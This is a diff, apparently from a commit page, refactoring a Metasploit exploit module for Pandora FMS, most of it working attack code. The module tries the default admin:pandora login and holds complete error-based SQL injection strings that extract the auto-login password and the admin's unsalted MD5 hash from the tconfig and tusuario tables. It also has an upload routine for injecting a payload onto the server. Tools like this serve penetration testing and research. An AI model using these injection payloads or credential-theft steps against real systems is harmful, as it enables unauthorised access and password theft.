@@ -86,9 +86,8 @@ def check
86
86
end
87
87
88
88
89
+ # Attempt to login with credentials (default admin:pandora)
89
90
def authenticate
90
-
91
- # Attempt to login with default credentials (admin:pandora)
92
91
res = send_request_cgi ( {
93
92
'method' => 'POST' ,
94
93
'uri' => normalize_uri ( uri , 'index.php' ) ,
@@ -105,17 +104,17 @@ def authenticate
105
104
return auth_succeeded? ( res )
106
105
end
107
106
107
+ # Attempt to login with auto login and SQLi
108
108
def login_hash
109
- # Generate random string and convert to hex
110
- sqlq = rand_text_alpha ( 8 )
111
- sqls = sqlq . each_byte . map { |b | b . to_s ( 16 ) } . join
109
+ clue = rand_text_alpha ( 8 )
110
+ sql_clue = clue . each_byte . map { |b | b . to_s ( 16 ) } . join
112
111
# select value from tconfig where token = 'loginhash_pwd';
113
- sqli = "1' AND (SELECT 2243 FROM(SELECT COUNT(*),CONCAT(0x#{ sqls } ,(SELECT MID((IFNULL(CAST"
112
+ sqli = "1' AND (SELECT 2243 FROM(SELECT COUNT(*),CONCAT(0x#{ sql_clue } ,(SELECT MID((IFNULL(CAST"
114
113
sqli << "(value AS CHAR),0x20)),1,50) FROM tconfig WHERE token = 0x6c6f67696e686173685f707764 "
115
- sqli << "LIMIT 0,1),0x#{ sqls } ,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP "
114
+ sqli << "LIMIT 0,1),0x#{ sql_clue } ,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP "
116
115
sqli << "BY x)a) AND 'msf'='msf"
117
116
118
- password = inject_sql ( sqli , sqlq )
117
+ password = inject_sql ( sqli , clue )
119
118
120
119
if password && password . length != 0
121
120
print_status ( "#{ peer } - Extracted auto login password (#{ password } )" )
@@ -163,15 +162,16 @@ def auth_succeeded?(res)
163
162
164
163
def extract
165
164
# Generate random string and convert to hex
166
- sqlq = rand_text_alpha ( 8 )
167
- sqls = sqlq . each_byte . map { |b | b . to_s ( 16 ) } . join
165
+ clue = rand_text_alpha ( 8 )
166
+ hex_clue = clue . each_byte . map { |b | b . to_s ( 16 ) } . join
167
+
168
168
# select password from tusuario where id_user = 0;
169
- sqli = "test' AND (SELECT 5612 FROM(SELECT COUNT(*),CONCAT(0x#{ sqls } ,(SELECT MID((IFNULL"
169
+ sqli = "test' AND (SELECT 5612 FROM(SELECT COUNT(*),CONCAT(0x#{ hex_clue } ,(SELECT MID((IFNULL"
170
170
sqli << "(CAST(password AS CHAR),0x20)),1,50) FROM tusuario WHERE id_user = 0 LIMIT 0,1)"
171
- sqli << ",0x#{ sqls } ,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY "
171
+ sqli << ",0x#{ hex_clue } ,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY "
172
172
sqli << "x)a) AND 'msf'='msf"
173
173
174
- password = inject_sql ( sqli , sqlq )
174
+ password = inject_sql ( sqli , clue )
175
175
176
176
if password && password . length != 0
177
177
print_good ( "#{ peer } - Extracted admin password hash, unsalted md5 - [ #{ password } ]" )
@@ -227,29 +227,27 @@ def upload
227
227
hash = $1
228
228
else
229
229
print_error ( "#{ peer } - Could not extract hash from response!" )
230
- print_error ( "#{ peer } - Upload will fail!" )
231
- return false
230
+ fail_with ( Failure ::Unknown , "#{ peer } - Unable to inject payload!" )
232
231
end
233
232
234
233
# Extract hash2
235
234
if form =~ /(?<=name="hash2" type="hidden" value=")(.*?)(?=" \/ >)/
236
235
hash2 = $1
237
236
else
238
237
print_error ( "#{ peer } - Could not extract hash2 from response!" )
239
- print_error ( "#{ peer } - Upload will fail!" )
240
- return false
238
+ fail_with ( Failure ::Unknown , "#{ peer } - Unable to inject payload!" )
241
239
end
242
240
243
241
# Extract real_directory
244
242
if form =~ /(?<=name="real_directory" type="hidden" value=")(.*?)(" \/ >)/
245
243
real_directory = $1
246
244
else
247
245
print_error ( "#{ peer } - Could not extract real_directory from response!" )
248
- print_error ( "#{ peer } - Upload will fail!" )
249
- return false
246
+ fail_with ( Failure ::Unknown , "#{ peer } - Unable to inject payload!" )
250
247
end
251
248
else
252
249
print_error ( "#{ peer } - Could not identify upload form!" )
250
+ fail_with ( Failure ::Unknown , "#{ peer } - Unable to inject payload!" )
253
251
end
254
252
255
253
0 commit comments